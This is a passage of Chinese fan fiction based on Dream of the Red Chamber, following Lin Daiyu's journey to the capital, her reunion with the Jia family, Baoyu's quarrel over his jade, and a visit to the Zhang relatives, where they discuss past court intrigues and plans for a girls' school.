林家父女在寺里用了素斋,感叹果然不负盛名。
游遍寒山寺,林海又带黛玉去听书喝茶,傍晚父女才打道回府。
黛玉在这一日的见闻中也受益匪浅。
回家后,黛玉开始打理行装,安排随行人员,交接管事。
林海返扬办公后,黛玉开始准备去京的相关事宜,最后决定带着贾敏留下在她身边做嬷嬷的荼白、梅染,她的四个大丫鬟雪雁、子规、知更、逢春,八个二等丫鬟素影、素晖、澄莹、沉壁、霜痕、含霜、月霁、月皎,三等丫鬟若干,小厮随从若干,雪雁、逢春、素影、素晖、澄莹、沉壁随她入贾府,剩下的回林府收拾屋宅。
四季衣服、吃穿用度、笔墨纸砚、琴棋书画都收拾起来,又把带往贾府和带回京城林府的分开,把暂时用不上的都收拾起来,和贾敏的旧物一起封存。
黛玉自己又拿了几样贾敏的旧物陪着自己。
接下来,黛玉安排管事去留,分配各项事宜,一一吩咐下去,安排好,又打点给贾府亲人、京城友人的礼物,准备给英莲、林家姐妹等友人的临别礼物,加上拜别旧友,忙的团团转,转眼已过了大半个月。
逢林海休沐,虎丘山有学子论道,林海让黛玉、素心换上男装,一同前往。
贾素心、黛玉随侍林海旁边,偶有发言,被赞林家“麒麟子”,黛玉并非不欢喜,只是这是以男子的身份得到的,难免怏怏,可她毫无办法,她心中无所不能的父亲也无他法,只得适从。
夜晚回家后,林海设宴,邀请甄先生一家,贾琏一家与白先生,男子一桌,女子一桌,中间设屏风,虽说男女有别,但都有些许亲戚关系,倒也无妨。
是答谢女儿老师,也是饯别亲友,还是托付幼女,拳拳父心,不过如是。
酒过三巡,众人散场。白夫人与甄先生一家三口离去。
第二日,林海送黛玉离开,把贾敏在京城的嫁妆铺子交给黛玉打理,又给了五千两银票,三千两修理府宅,两千两以备不时之需,又一次细细交代了那些人家的邀请可以去;递给贾琏几封信,让交给岳母、二位舅兄和友人;又给了贾琏五千两银票,让交给贾母,作为黛玉住在贾府的花用,贾琏推辞无用,只得听从。
真到了别离的时候,黛玉还是泪洒河畔。
再不舍,也还是黛玉拜别。
林海在岸边看着,船慢慢驶去,不禁沾湿眼角。
直到看不见船,才带着管家回了扬州官邸。
黛玉在父亲面前还忍着,等着船走了,别乡之情、离亲之悲油然而生,闷闷不乐起来。
贾琏几人虽不舍林海,但到底是归家,十分激动。
白夫人是贾琏几人的大舅母,但却与黛玉最为投缘,看着黛玉难过不禁心疼起来,搂着连连安慰。
看了几日海景,黛玉心境开阔起来,心情也好了许多。
幸运的是,这一行人没几个晕船的。
船舱里憋闷,自家的船,无甚顾及。
天气好的日子,白夫人就带着黛玉、素心和熙凤几人在甲板上玩,有时绘画,有时下棋,有时抚琴,有时钓鱼,有时单纯观海。
一路行来,有的地方荒凉,有的地方繁华,路过一个地方,白夫人就给她们讲一个地方的名胜、文化、历史、官员,也讲大运河,讲曾经从京城到姑苏大抵要半年多,现在乘船就能直下江南,或者直上京城,不过一个月,十分便利。
有时又出题,让黛玉她们讨论。
这一行,几人才发现白夫人在四书五经上的造诣不弱于甄先生,不知胜过多少须眉;但给黛玉他们教学,却只能教与四书五经之外的学问。
素心、黛玉连连撒娇,“好老师,好舅母,到京城还让我们跟着你学习,好不好啊?”
白夫人笑道,“当然好,只要你家里没意见。”
“肯定愿意,就这么定了。”黛玉、素心齐声道。
整日面对着花朵般的女孩,又是自家孩子,很难不活泛几分。
如今,白夫人回忆起丈夫死后自己不死不活的日子,仿若隔世。
一日日的过去,景致大差不差,山光水色连看半个多月,也就不稀罕了。
几人一日日的沉寂下来。
虽说早早准备的菜蔬,但在船上吃的多是海鲜,也从兴致勃勃到食不下咽,一脸菜色。
盼着盼着,船终于到了京都。
贾家、林家、张家的下人都日日等着,看见林家的船靠岸,赶忙上前请安,听候吩咐,有序的搬动行李。
白夫人和黛玉、贾琏她们话别后,约定她们三日后去张府拜访,便上了马车府。<
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原来张阅来接她们,在马车上等着,却只能远远相视一笑,只等后日再叙离情。
黛玉安排知更她们带着不常用的东西回了林府,说好过几日回去看看。
便随贾琏她们去了贾府。
贾府来了四辆马车,一辆贾琏夫妇坐,一辆黛玉和素心坐,一辆丫鬟们坐,最后一辆运行李。
坐在马车上,听着街上的声音,不禁掀开车帘,向外看去。
比起姑苏的风流别致,京城更多的是端肃规整,热闹富贵,人声鼎沸,十分不凡,一派盛世大国气象。
黛玉不免有些忐忑,但想起外祖母、舅舅们从京城送去姑苏的礼物,相处两年多表哥、表嫂、表姐,想起京城的宅邸和随从,倒也安下心来。
行了半日,黛玉一行才进入宁荣街,停在荣国府前,门房看车马进来,赶忙打开侧门,让人给老太太传话。
贾琏带着黛玉她们前往荣庆堂给贾母请安。
贾母听了消息,激动的说道,“可算回来了。”便要起身出门去接,邢夫人、王夫人、三姑娘探春、四姑娘贾琋赶忙上前劝,劝了又劝,才拦了下来。
正午刚过,想着她们一行舟车劳顿,指定还未用膳,忙吩咐下人准备膳食。
贾琏夫妻走在前面,黛玉、素心随后,齐齐请安,问候长辈。
离家近三年的孙子孙女们,盼望已久的外孙女回来,贾母十分高兴。
只是看着黛玉走近来,仿佛看见十几岁亭亭玉立的女儿走过来,喃喃道,“我的敏敏啊。”
顾不得孙子孙女,连忙叫黛玉前来瞧瞧,一把搂住黛玉,连道,“好孩子,你受苦了。”祖孙二人哭了一场才罢。
缓过来,才与贾琏、王熙凤、素心叙过。
王熙凤看着贾母、黛玉难过,连连夸黛玉,假意吃醋逗贾母。
几人叙过,又引着黛玉给大舅母邢夫人、二舅母王夫人请安,认识两个表妹,三表妹探春是二老爷贾政幼女,四表妹贾琋是宁府敬老爷嫡女,探春精明利落,贾琋率直单纯,还有珠表哥的遗孀表嫂李纨,和遗腹子贾兰,两个表弟贾琮和贾环。
寒暄见礼一番后,黛玉让丫鬟们送上表礼,给贾母的是黛玉亲手的一个松鹤延年的抹额,给邢夫人的是一套金玉头面,给王夫人的一串翠玉佛珠,给李纨的是誊抄的孤本,给探春的是一本名家字帖,给贾琋的是一套画具,给两个表弟并贾宝玉各一套四书五经,给贾兰一套启蒙读物并纸墨笔砚,又准备的礼物给两位舅舅的礼物交给两位舅母,贾赦一把古扇,贾政一幅字画。
黛玉准备礼物时专门请教了王熙凤和素心,投其所好,众人收到礼物都很开心,也拿出表礼给黛玉。
待丫鬟来请几人用膳,贾母叮嘱她们用膳后休息好再带黛玉去拜见长辈,才各自散去,让她们几人用膳。
与江南饭菜的清淡相比,京城的饭菜更重口味,但也别有一番风味,只是黛玉不甚习惯,吃的不多;贾琏几人倒是吃的十分顺心,也算上宾主尽欢。
饭后,贾琏先去拜见贾母,将林海交给她的信和银票交给贾母,又安排小厮把林海给贾政、友人的信尽快送到,才带着给贾赦的信去拜见父亲。
熙凤和素心带着黛玉去了荣庆堂不远处的莺时阁,自打听了黛玉来京的消息特意打理出来的给黛玉住的。
贾母本想着黛玉来了和她一起住,但又想着黛玉大了,自己也年纪大了,黛玉还要读书,不甚方便,便把贾敏住过的院子给了黛玉。
丫鬟们用过餐,已经早早过来规制好了行李,姑嫂几人休息了会儿,便前往了贾赦的东院。
8. 第八夜
贾赦听了贾琏一行回府,早早在书房就等着。
不同于林海书房的满室书香,贾赦的书房倒没多少书,多的是古玩古扇,端的满室奢华。
贾琏径直走到书房,叩门的手久久未能动作。
他觉得,今天的书房格外寂静,没有曾经的红袖添香的喧哗和刺鼻的酒气,颇有一种物是人非,走错地的感觉,踌躇不已。
可外面管家说了大老爷等着他,不存在走错的可能,不过是他近乡情怯罢了。
贾琏的手还是叩了下去,贾赦喊了一声“滚进来”,贾琏就麻溜的进了书房。
贾赦如今四十出头,看着不过三十出头的样子,还残留着几分年轻时的俊朗,只是过于颓废。
早年他与妻子情投意合,一生一世一双人,生了两子一女,又是国公府继承人,爱好风雅,也玩出了名堂,人生赢家不过如是,他只需潇洒,甚至不需奋斗。
可是,一朝巨变,大半个朝堂卷入争端,岳家败了,父亲死了,爵位被削了个底朝天,长子、妻子前后离世,太乱了,甚至查不到是阴谋还是意外。
孝期过了,他依旧没有走出来,甚至忘了次子幼女,只将她们托付给母亲,最后更是沉迷酒色,越来越颓废。
后来虽娶了邢氏为续弦,也只当她不存在。
直到收到幼妹的死讯,他仿佛从梦中苏醒,回首已经十多年,儿子废了,女儿懦弱,又想起小舅子、妹夫在扬州为官,趁着奔丧把儿女托付了过去。
两年未见,看着进来的儿子,仿若脱胎换骨,感叹果真长进了。
贾琏进来行礼道,“儿子给父亲请安。妹妹她们熟悉休息去了,儿子就先过来看看父亲。”
贾赦听见儿子喊“父亲”而不是“老爷”,竟然欣慰了一瞬,他知道自己不是好父亲,儿子却是孝顺的,这次从江南回来,曾经的几分疏离也消失了。
贾琏又把林海的信递给贾赦,贾赦收过信后并未立即打开,只问道,“你姑父怎么样?这两年在姑苏都做了什么?”
这两年的经历贾琏信里多少,只是想听儿子亲口说。
“姑父身体还好,这两年表妹跟着大舅母锻炼身体也好多了。”贾琏把这两年的事情慢慢说来,“姑姑丧礼过后,姑父便安排我见了舅舅、舅母,先跟在姑父身边历练一年,后来姑父安排我在林家族学读书,姑父给表妹请了先生,办了女学,王氏和妹妹都跟着念书,都长进很多,也在江南交了很多好友,姑父还时常带着妹妹和表妹去玩,参加学会。”
贾赦说道,“你姑父还是这性子,当年也常带着你姑姑去。”又问道,“你舅舅,舅母们可好?”
“舅舅舅母们都还好。早先大舅母一个人沉寂,小舅母介绍大舅母去给表妹当先生,后来教的学生多了,倒也慢慢走出来了,现在好多了,这次和我们一同返京了。”贾琏道。
“你舅舅舅母都不容易。早先你外祖家出事的时候,只你小舅舅刚刚入仕,和你小舅母外任没有波及。你外祖、大舅卷入,百年家族毁于一旦,你母亲怀了你妹妹,受了刺激,后来你大哥也病逝,最后难产走了。我们几家都自顾不暇,很难照顾得到。再后来,就联系的少了。”
说道最后,贾赦仿佛回到那些刀光剑影的日子,叮嘱道,“你舅舅也是吃了大苦才有今日,如今对你很是尽心,你以后可要好好听他的话,好好孝顺他们才是。”
贾琏赶忙应是,倒是十分真心。
毕竟,自相认后,舅舅舅母们对她的教导、照顾一概不缺,比二婶曾经的照顾不知真心多少。
或许,有些事情只有有了对比才明显。
二婶一贯由着他,从不催着他学习上进,凤姐儿曾经做的错事并非没有她的影子,妹妹更是被养的懦弱,好在父亲让她们去了江南,遇到了姑父、舅舅、先生,凤姐读了书,才有了敬畏,他自己也有了长进,及时补过。
不然,一直留在京城,不知会闯下什么祸事,他们又会走到什么地步,想想都觉得毛骨悚然。
好在,一切都变了。
这厢,王熙凤、素心、黛玉简单梳洗休息后,来到了东院,先去给邢夫人请安,几人聊了聊在江南的见闻,邢夫人又叮嘱黛玉“当自己家,别外道”云云,才放他们去见贾赦。
三人进入,先向贾赦请安,贾赦赶忙叫起。
王熙凤是儿媳妇,要避嫌。对女儿和亲外甥女,贾赦可就亲切多了。
贾赦看了女儿连连赞叹,“好,好,这会子总算是个大家姑娘了。回去把你那一院子的牛鬼蛇神赶紧收拾了,特意给你留了练手的。”他也惭愧,忽略了女儿,只是不好向女儿认错。
只对黛玉说“以后有不方便的只管来找舅舅。舅舅给你做主。”又说道,“听说你张家大舅母是你们老师,过两天我带你们去拜访张家,要是还要上学,保准给你们安排妥当。”
说罢,让随从拿来给黛玉、熙凤、素心准备的表礼,给黛玉的是孤本,给素心的是棋谱,给熙凤的是一本律法书,又给了许多首饰让她们拿着玩;后面,又给了贾琏一万两银票,让他打点前程,给了黛玉、素心、熙凤各一千两做私房,黛玉推辞不过,才收下。
说完便让几人回去休息。
黛玉三人离去,贾琏又说起林海给贾母的银票,贾赦只说“你姑父的心意,还是交给老太太定夺。”
贾赦又拟了后日拜访张家的礼单,交待贾琏办理。
出了东院,王熙凤便带着黛玉、素心去荣禧堂拜访王夫人。
黛玉看了贾赦、贾政他们住的院子惊疑不定,怎得袭爵的大老爷住东院,二老爷住主院,这般不会惹人非议吗?只想“难道这便是母亲说的外祖家与别家的不同吗?”
三人也相处了一段时间,看表情便知黛玉得想法,只解释道,“到如今,大老爷的爵位已住不了主院,又无意搬离东院,二老爷也只是为了方便孝敬母亲,住在偏房。”
黛玉表示理解。
进入荣禧堂,黛玉已经收起自己的震惊,丫鬟把三人迎入厅里,王夫人刚处理完事情,细细问了几人这两年的经历,又说“熙凤回来了,要她赶紧接手管家事宜”,俨然管家是一件烫手山芋的样子。
熙凤也推脱,只说旅途劳顿,初初回京,还要走亲访友,能者多劳,让二太太多管段时间。
王夫人又拉着黛玉细细叮嘱只当自己家,表哥宝玉顽劣,长在后院,怕冒犯黛玉,让黛玉海涵。
黛玉只说男女有别,现在都大了,她在内院,见不到表兄,自然无碍。
王夫人又说
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,“你二舅舅还未下值,晚上一起在贾母那吃饭拜见就行。”
看着时间不早了,几人告辞。
王熙凤回了院子,支使丫鬟们向各院派送礼物特产,又向丫鬟平儿了解这两年府里发生的事。
素心回了院子,两个妹妹和丫鬟们早早等着,从小一起长大,素心离开两年,虽有书信往来,但到底不多。
素心和两个妹妹讲起在姑苏的事情,说女学,说棋社,说先生,说舅舅舅母、表妹表弟……姐妹三个一说就停不下来,等到丫鬟了唤他们用晚膳,才看看停下。
探春和贾琋对林家女学很感兴趣,缠着素心说女学的事,听了后却颇有些不是滋味,他们的父亲都还不如大老爷,一个窝在道观里不出来;一个古板迂腐、基本不管女儿;大老爷还会给女儿找个出路,只是都不如林姑父,会奔波两地照看女儿,会给女儿请进士当老师,会因为女儿的请求办女学……
很多人家母亲都不会这般对待女儿,更何况父亲,更难得了。
若从来都没有,倒也正常。
可身边出现一个特别的,颇有些羡慕。
早先梅染常跟着贾敏来贾家,这次便跟着过来管事,黛玉回来的时候,梅染已经把一切都安排好了。
黛玉回来后也没有立即去休息,梅染带着她参观莺时院,小厨房、会客厅、书房、卧房、琴房、花园、亭子应有尽有,给黛玉说着听来的贾敏往事。
听说,贾敏最爱夏天在亭子里和闺蜜喝茶下棋,最爱雨天在亲自里观雨,冬天又在亭子里围炉煮茶,说贾敏兴致来了会在小厨房做一两道小点心,说花园里四季盛开的花和赏花宴,又说着收拾收拾小厨房,方便给黛玉做些江南小菜、小点,让黛玉时时吃到家乡风味。
黛玉听着,好似与少年的贾敏相逢。
细细参观过,但她却感觉不到贾敏的影子,主人已经走了太久。
雪雁、逢春看着黛玉难过起来,忙上前宽慰,劝着黛玉去休息。
黛玉从善如流,回了房间休息,不一会儿,就睡了过去,或许,因为在母亲的地方,十分安心。
醒来时,贾家三姐妹刚好来叫她一同去贾母处请安用膳。
黛玉醒来,简单梳洗后,就和三姐妹一起去了贾母院子。
路上,她们都对黛玉的到来表示了热烈欢迎,又问了许多林家女学的事情,黛玉一一答了。
到贾母院子的时候,其他都还未到,贾母把姐妹四个唤到身旁,又连连说黛玉受苦了,搂着黛玉,动情的说“你娘走了,也就留了你这么点的念想,我早早就想接了你过来,偏偏你爹说要你守制读书,你又身体不好,也不怕把身体熬坏了,我不知道多担心。”
黛玉听了赶紧说道,“外祖母,是我想给娘守孝,陪着娘。再说,娘亲最后还记挂我念书的事呢。我早先的老师补了官走了,后来甄先生要搬家,爹爹特意邀请了甄先生来姑苏教我的。再后来,孔姨又介绍了白先生,跟着白先生锻炼、养生,孙女现在身体彻底好了呢。”
贾母连连说好,叹道,“惟愿我儿无病无灾的。”像是在说黛玉,又像是说贾敏。
贾家三姐妹不时插个话,闲话间,邢夫人、王夫人、李纨、贾兰、贾琮、贾环、贾赦、贾政、宝玉都陆续来了。
9. 第九夜
黛玉几人赶忙起身给长辈们见礼,指着宝玉与黛玉认识。
宝玉面若秋月,红衣剑袖,公子翩翩如是,只是为人有些狂悖,见了黛玉就说,“这个妹妹我见过,想来是久别重逢。”
众人笑了,贾母说道,“还真是,你们幼时还见过呢,只是你妹妹去了姑苏,现在想来都忘了。”
宝玉又问,“妹妹可有字?我正有一妙字赠予妹妹。”
宝玉话音刚落,贾政的茶杯就砸向了宝玉,“混账!无礼!取字一事岂能任你乱来。”宝玉瑟瑟发抖,愣在原地,不知所措。
贾母道,“小孩子家家的知道什么。”又软声对宝玉说道,“你妹妹的字自有你姑父取,你赶紧给你妹妹道歉。”
宝玉完全不懂自己错在哪,他只是见了妹妹心生亲近,取个字表示下她们自己亲近,但贾政在一边虎视眈眈,还是乖乖听了祖母的话,拱手向黛玉道了歉,“不好意思,冒犯妹妹,还请妹妹原谅则个。”
黛玉回礼,只得道,“无碍,表哥也是一片好意,只是父亲已近为我择了小字,只待笄礼。”
黛玉心里打定主意,以后远了这位表哥。
王夫人也知儿子唐突,但看着儿子道歉,还是不由心生不满。
其余个人心思各异,素心、熙凤、贾琏这两年懂得多了,自然明白失礼之处;探春等人自来见宝玉如此,不知今日为何这般小题大做;还有贾环、贾琮不乐见宝玉得已,见他吃瘪乐得看热闹。
众人揭过这茬自然闲聊,长辈们问贾琏几人在姑苏的见闻,小辈们给黛玉说起史家活泼洒脱的湘云妹妹,还有薛家端庄美丽的宝钗姐姐,要介绍她们给黛玉认识。
聊着聊着宝玉又拿着玉问黛玉“妹妹,可有玉?”
黛玉奇道,“表哥怎会如此问,我们怎会缺玉。”又看了看宝玉拿着的,黛玉也听过宝玉的来历,说道,“像表哥这般有来历的玉,倒是没有的,想来不是谁都有的。”
黛玉其实有些不耐烦,取字已是冒犯,又来问玉,珍贵好好收着就是,何比来现?
宝玉听了却陡然发疯,脱手把玉扔了出去,“我就说这玉不是个好东西,先时来的宝姐姐没有,如今神仙似的林妹妹也没有,我也不要了。”
气氛一僵,贾母、王夫人赶向宝玉,围着宝玉宽慰,宝玉的丫鬟赶紧捡回宝玉,看了看完好,才递给贾母。
贾母拿到,赶紧给宝玉系上道,“这是怎么了,何苦摔这命根子。”
王夫人也赶紧补充,“以后可不许再摔了。”
或许有人安慰,胆壮了,宝玉回道,“什么劳什子,只有我有,别人都没有,我偏不要了。”
贾母、王夫人预备说些什么劝住宝玉,这边的动静已经被贾政知道,喊着“快去请家法。”又道,“你这孽障,一晚上净找不自在。你妹妹初来乍到,不说照顾妹妹,偏你几次冒犯,今天我非得让你长长记性。”
贾母大惊,怒道,“孩子还小,那惊得起家法,我看你是找我不自在,今日玉儿初来,你就请家法,让别人怎么看玉儿。再说,小孩子知道什么,天性如此,不过是见好东西妹妹没有,不自在罢了。”
贾政呐呐不言,最后无疾而终。
贾赦说了句,“宝玉如今和妹妹还住在园子,原本都是自家姐妹,倒也无妨。如今外甥女来了,宝玉还是搬去外院的好。”
贾政回道,“大哥说的是,我回去就安排。”
贾母听两个儿子都这样说,有心拒绝,只是想起贾琏去了江南一趟,大变样了,便想着孩子大了,到底要读书历练,担起家里的胆子,最后还是默认了,只对贾政说道,“好好教他,别想着揠苗助长,可不兴动不动用家法吓他,要让我知道你们磋磨他,我可不会放过你。”说到最后,想起早逝的孙子贾瑚、贾珠,难免伤感起来。
贾政、王夫人连连称是,道他们是亲生父母,还不都是为了他好,那会故意搓摩他。
宝玉十分不愿,但也不敢说什么。
众人寒暄一番,四散开来。
宝玉想要纠缠,素心挡了,自告奋勇送黛玉回去,又遣丫鬟回去说,今晚陪着黛玉回不去了,在林家时她们也常一起睡,有时候还加上张阅、英莲,那会贾敏新丧,黛玉难过,素心也不知如何安慰,她们几个有机会便整日整夜的陪着黛玉,以免她一个人过度伤怀,把身体搞坏了。
今日,黛玉第一日来贾府,又发生好些事,想着安慰她。
两人回去梳洗过后,让丫鬟推下,躺在床上,素心才说道,“黛玉可别难过,宝玉我也给你说过,素来人来疯,没什么坏心眼,行事无忌,我们远着她些就好。今后他搬出去,我们和姐妹玩就好,姐妹们可再守礼不过了。”
黛玉多少被吓到了,在家的时候被父母千娇百宠的长大,出门在外遇到的也都是守礼之人,那些狂悖之徒哪能到了她们身边,属实第一遭,“姐姐,难过倒没有,不过真被吓到了。怎么会有人这么言行不忌。”
“珠大哥早逝,二婶就只大姐姐和宝玉了,现在大姐姐进了宫,只宝玉在身边,加上老太太惯着,可不如此。不过,他在外面一贯挺守礼的。”素心解释道。
“有恃无恐,看来他也不是一直如此。哎,谁让我不值得贾二公子忌惮呢?”说着,黛玉自己也笑了起来。
“哈哈,这让我哥知道可要难过了!”素心吐槽道。
“对了,琏二哥哥也排行第二。怎么姐妹们荣宁两府一起排行,表哥们各排各的?”黛玉疑惑,黛玉震惊。
素心长叹,“一言难尽,咱也不知道,咱也不能问。”
两人面面相觑,又相视一笑,“早点睡,明天还得去请安,指不定还能见到薛家姑娘呢。”
说起薛家姑娘,黛玉又想起了贾雨村,进士出身,因恃才辱上被罢官,起复时父亲又写推荐信,又托付二舅舅,后来任了金陵应天府府尹,刚一到任就遇到薛家少爷薛蟠犯事,处理的很是奇特,“你说人怎么会变得那么快?”
素心也知道,说的讽刺,“可能对他来说是知错就改。曾经恃才傲物
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,不知变通,有贪酷之弊,被革职;如今这番,大抵是改了吧。”顿了顿又说,“被怨鬼索魂而死,也是人才,听说那位薛家少爷还挺高调,就不知道薛家知不知道他已经是死人了,也不知道薛家姑娘是怎样的人?”
“睡吧,反正明日就见着了。”黛玉听了素心的话难免有些怅惘,也可怜那个无辜的女孩子。毕竟曾经真的有些师生情谊,贾雨村的才华也不是假的。
两人停止谈话,胡思乱想间,两人陷入梦乡。
一夜无梦,洗去旅途劳顿。
晨起,梳洗妥当,二人便前往贾母院子请安,宝玉、探春、贾琋、薛家姑娘已经到了。
两人上前向贾母请安,贾母问“一路劳累,怎不多睡会?”
二人齐齐道,“我们这不是想着来陪老太太用餐嘛。”又说,“孙女都休息好了,您别担心。”
看她们这样说,老太太让丫鬟去传饭,又指着薛宝钗让她们认识,“这是薛家姑娘,名唤宝钗,比你们大点,就薛姐姐就好。”又指着素心和黛玉,道“这是我二孙女素心和外孙女黛玉。”
几人相互见礼,相处的还算愉悦。
用完餐,几人陪老太太说笑了一会儿,便告辞离开,让老太太休息。
黛玉邀几人去莺时院玩耍,探春几人欣然前往。
黛玉带几人进了会客厅,引几人落座,逢春泡了茶送过来,奉给各位姑娘,黛玉道,“也不是什么好茶,是我和素心姐姐、琏二嫂在明前去茶园玩的时候采的新茶,给姐妹们尝尝。”
众人品过茶赞道,“茶香扑鼻,别有一番风味。”
薛宝钗也道,“怪道韦庄、白居易都说江南好。”
贾琋道,“看来江南真好,二姐姐从江南回来可大变样了。要我也能去江南就好了。”
黛玉看着贾琋和自己弟弟差不多年龄,难免移情,道,“等姐姐回家带上琋琋,好不好。”
贾琋看着黛玉真的喜欢她,眨巴着眼睛道,“真的。”
“当然。”黛玉看她总算有点孩子的样子,简直被她可爱道,心都化了。
素心、探春见了贾琋这幅样子也是稀奇,拉过妹妹好一番揉搓。
又被缠着讲林家女学的事情,说着说着,黛玉索性让丫鬟找出投壶、射覆的工具,带着她们玩起来。
贾家姐妹虽未曾正式读书,也是请了女先生教过的,粗通诗书,联诗作对不在乎话下,薛宝钗也是其中高手。
投壶、射覆她们虽未曾接触过,但都是聪明人,也很快上手。
众人中午用膳后继续,到傍晚才散。
几人又结伴去像贾母请了安,陪贾母用了晚膳才离开。
第二日一早,贾赦就带着儿女和黛玉前往张家。
张家距离贾家不算远,但也有一段距离。
贾琏父子坐了一辆车,黛玉、素心、熙凤姑嫂一辆车,说笑间便到了。
路上,贾琏听了素心的提醒,给贾赦说了薛家的案子和贾雨村的做法,贾赦听了良久不语。
10. 第十夜
看到贾家众人到了,门房赶紧传话进去,张家主子们打开中门迎亲。
物是人非,当年人丁繁茂的家族,风流云散,如今只剩几个人。
离散多年的亲人再聚,都非常激动。
闲话间,几人步入客厅,贾赦仿佛回到陪着妻子来娘家的日子,下意识的看向身边,想看到妻子,可只有一片虚无。
张衡指着儿子张阐、侄子张闻、女儿张阅向贾赦介绍,又让儿子、侄子、女儿向贾赦见礼,贾赦看到孩子们行李才回过神,忙唤孩子起来,又忙让随从递上准备的表礼,给两个侄子准备的古墨、孤本,给侄女的是一套珍珠首饰,又每人两张一千两的银票。
张衡道,“姐夫送礼还是这般豪横。”
贾赦订婚后,为了讨好小舅子,给未婚妻送礼物,没少给张衡送礼。
白夫人、孔夫人看了贾赦给张阅的首饰,略微惊讶,白夫人道,“我记得是这是阿微定做的。”
“对。那会听到弟媳有孕的消息,丫鬟正好拿着首饰给阿微看,阿微说有缘,要留给孩子,后来又是个姑娘,合该是阿阅的。只是后来,她没见到阿阅。”贾赦有些低沉,停了停,又道,“如今,也算了了我的一桩心事,圆了阿微的遗憾。”
张衡也听起过贾赦颓废的过往,劝道,“姐夫,姐姐走了,还有孩子们,姐姐必然不愿意你这样的。”
贾赦只说道,“是我没用,护不住她。”
白夫人说道,“你是最不愿意阿微出事的,怎会是你的错,没得怪受害者的。”
孔夫人示意孩子们都出去,贾琏和熙凤带着她们退下,贾琏去和表兄弟们闲聊,张阅带着熙凤她们回了她的院子玩。
贾赦痛苦道,“我查了一次又一次,什么都没查到。肯定不是后宅那些事,王氏不是个聪明的,我母亲虽偏心弟弟,但不至于看着孙子惨遭黑手,最后更带累阿微难产而亡。”
张衡跟着道,“想来后来的一切早已埋下伏笔,我们伤心的时候,被分散注意,屠刀已经备好,只待落下,张家、贾家、林家、陈家、马家……一个未落,可恨,我当时不在京。”
白夫人又道,“还得多亏你周全,不然阿衡拿能等今天。”
贾赦道,“嫂子说的哪里话,都是亲戚,一荣俱荣,一损俱损,都是应该的。再说,我也是看着阿衡长大的,如今,大家慢慢算。毕竟,谁得利我们都知道。”
张衡道,“可恨我们还得……”俯首称臣。他没说出来,但都知道,说到底,她们的悲剧都是因为皇子夺嫡。
当年,贾代善是太子武师,张世潜是太子太傅,林樾是太子少傅,是上皇指派,他们站队太子,但太子并不完全信任他们。
可太子、皇子们谋反,输了只被圈禁,尚能苟且偷生,可他们的亲人都死了,死于不能规劝太子。
贾代善以命相救,才换来不迁怒子孙后代,可贾赦还是从侯爷降到不入流的将军,贾政入工部十余年才升了半品;贾代化病逝,儿子出家修道,孙子封了三等将军,出名的荒唐。
林侯死了,林家离京守孝;张太傅、张大爷张循被革职,张家险些被抄家。
如今,新帝登基,为了和上皇扳手腕,才重用他们。
贾赦道,“只待来日,如海也快回京了,我回去劝劝敬大哥哥,我们几家该动起来了。”
众人收起话题,说起素心、黛玉读书的事情,白夫人道,“我还得谢谢弟妹,教我得了两个佳徒。素心像阿微妹妹,黛玉更是青出于蓝,远胜敏妹妹和妹夫。”
孔夫人道,“敏妹妹夫妻就这点宝贝疙瘩,黛玉又是一个水晶心肝的孩子,自然珍爱万千,前后两老师可都是进士出身,以后不比我们阿闻、阿阐差。”
白夫人道,“我们阿微、阿阐、阿闻也不都不差。只是各有各的好。林家女学在江南办的如火如荼,如今我们也办起来,让素心、黛玉都来,只不必请进士,不然太高调,我和弟妹足矣。”
孔夫人道,“大嫂高明。那些人向来不把女子放在眼里,我们放出风声,有意的自然会来。卫国公府牡丹会的日子快到了,我到时候放出消息。”
贾赦道,“这主意好。很多家族只把女子当联姻工具,可都是争身家性命,后宅争斗并不朝堂斗争好多少,只看皇子妃们在夺嫡中的作用就知道。到时候,我家姑娘都送过来。”又说,“过两日赴宴,还请弟妹带着素心和黛玉。”
孔夫人,“没问题,到时候他们三姐妹刚好结伴。”
贾赦又道,“阿衡,你看琏儿如何安排?”
张衡道,“我看琏儿长于外务,擅长数算,可以考虑去户部。他小时候底子打的好,又跟着如海兄历练了一年,在林家族学学了一年,如今也不过二十出头,我这有一个国子监的名额,让他去读个一两年,毕业后去考户部主事。”
贾赦思考过后道,“我看行。只是你家里还有阿阐、阿闻,荣府的国子监名额用了,我再想想办法。”
张衡道,“姐夫放心给琏儿用,阿阐、阿闻不急,指不定家里到时候就有了,也不一定用到国子监名额。”
白夫人、孔夫人连连点头。
“那我就不客气了。”贾赦道。
几人说了一会儿,到了用膳时间,便让丫鬟去叫孩子们过来,用膳时,张衡又叮嘱了贾琏去国子监后的一些注意事项,那些人可交,那些人万万不可交;让贾琏重点钻研数算,别的学科也不能耽搁,可以多请教赵博士……
孔夫人又给素心、黛玉、张薇说了赴宴注意事项,衣服不能过于出挑,以免压过主人风头;多备一套衣物,以免出现意外……
“卫国公府也是皇室后裔,昭宁大长公主和卫郡王的子嗣,如今的卫国公是昭宁大长公主的孙子,前卫国公夫人是东平郡王府的郡主,一子卫若兰,一女卫若竹。”孔夫人介绍起宴会主人。
“别担心,她们都很好相处的,和你们娘亲是闺蜜呢。”白夫人看她们有些紧张,安慰道。
“是开国时上马能战、下马能谋的昭宁公主和卫国公吗?”黛玉问道。
“是啊。”
“昭宁长公主可是黛玉偶像,只是黛玉的天赋都在文采上。”张阅说道。
“那孔姨可带你好好见她的后人的风采。”
黛玉高兴的应了。
一番下来,宾主尽欢。
贾家一行人告辞。
贾琏、熙凤带着两妹妹回家向贾母请安,贾赦直奔京郊玄真观。
贾母问候了张家众人的近况,听了赴宴和女学的事,连连感叹“麻烦亲家了。”
黛玉又向贾母说了要去林家祖宅安顿的事情,贾母连连感叹“黛玉辛苦了!”
又让熙凤跟着去帮忙,只说黛玉今日赴宴累了,让后日再去林家祖宅。
黛玉欣
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然应允,又说等收拾好请姐妹们去玩,贾家姐妹听了,都十分高兴。
到了日子,黛玉和熙凤早早就去了,留守老宅的林管家和荼白也已早早候着,赶忙上前引着黛玉、熙凤进府,一路嘘寒问暖,怕黛玉有丁点不顺心,道,“老奴给姑娘请安,见过贾二奶奶。姑娘可算回来了,您的院子已经修好了,老爷特地了您姑苏院子的图纸,又根据京城风格改了点,您看看那不喜欢,我们再改,一定让您住的顺心。”
荼白也道,“姑娘,子规、知更在府里等着,我们从姑苏带回的东西,都已经按照您的意思归置了。”
黛玉道,“林伯辛苦了,我再看看。”
说话间,几人说话见到了黛玉院子,和黛玉在江南的院子几乎一致,只是把窗前的一丛绿竹换成了各色芍药,粉的、黄的、绿的,还搭了一个秋千,被鲜花围绕,煞是好看。
